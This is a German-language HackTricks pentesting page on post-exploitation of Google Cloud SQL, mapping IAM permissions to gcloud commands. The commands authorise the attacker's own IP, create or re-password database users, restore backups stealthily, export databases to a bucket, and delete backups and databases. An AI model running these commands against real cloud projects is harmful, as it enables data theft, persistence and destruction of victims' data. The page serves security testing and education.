GCP - Cloud SQL Post Exploitation

Support HackTricks

Cloud SQL

Für weitere Informationen zu Cloud SQL siehe:

cloudsql.instances.update, ( cloudsql.instances.get)

Um eine Verbindung zu den Datenbanken herzustellen, benötigen Sie nur Zugriff auf den Datenbankport und müssen den Benutzernamen und das Passwort kennen, es gibt keine IAM-Anforderungen. Eine einfache Möglichkeit, Zugriff zu erhalten, vorausgesetzt, die Datenbank hat eine öffentliche IP-Adresse, besteht darin, die erlaubten Netzwerke zu aktualisieren und Ihre eigene IP-Adresse den Zugriff zu erlauben.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

Es ist auch möglich, --no-backup zu verwenden, um die Backups der Datenbank zu stören.

Da dies die Anforderungen sind, bin ich mir nicht ganz sicher, wofür die Berechtigungen cloudsql.instances.connect und cloudsql.instances.login gedacht sind. Wenn du es weißt, sende einen PR!

cloudsql.users.list

Erhalte eine Liste aller Benutzer der Datenbank:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

Diese Berechtigung erlaubt es, einen neuen Benutzer innerhalb der Datenbank zu erstellen:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

Diese Berechtigung erlaubt es, Benutzer innerhalb der Datenbank zu aktualisieren. Zum Beispiel könnten Sie das Passwort ändern:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

Backups könnten alte sensible Informationen enthalten, daher ist es interessant, sie zu überprüfen. Stellen Sie ein Backup in einer Datenbank wieder:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

Um es stealthier zu machen, wird empfohlen, eine neue SQL-Instanz zu erstellen und die Daten dort wiederherzustellen, anstatt in den derzeit laufenden Datenbanken.

cloudsql.backupRuns.delete

Diese Berechtigung erlaubt das Löschen von Backups:

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

Exportieren Sie eine Datenbank in einen Cloud Storage Bucket, damit Sie von dort darauf zugreifen können:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName> --database <db>

cloudsql.instances.import, storage.objects.get

Importieren Sie eine Datenbank (überschreiben) aus einem Cloud Storage-Bucket:

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

Löschen Sie eine Datenbank aus der DB-Instanz:

gcloud sql databases delete <db-name> --instance <instance-id>
Unterstütze HackTricks

Last updated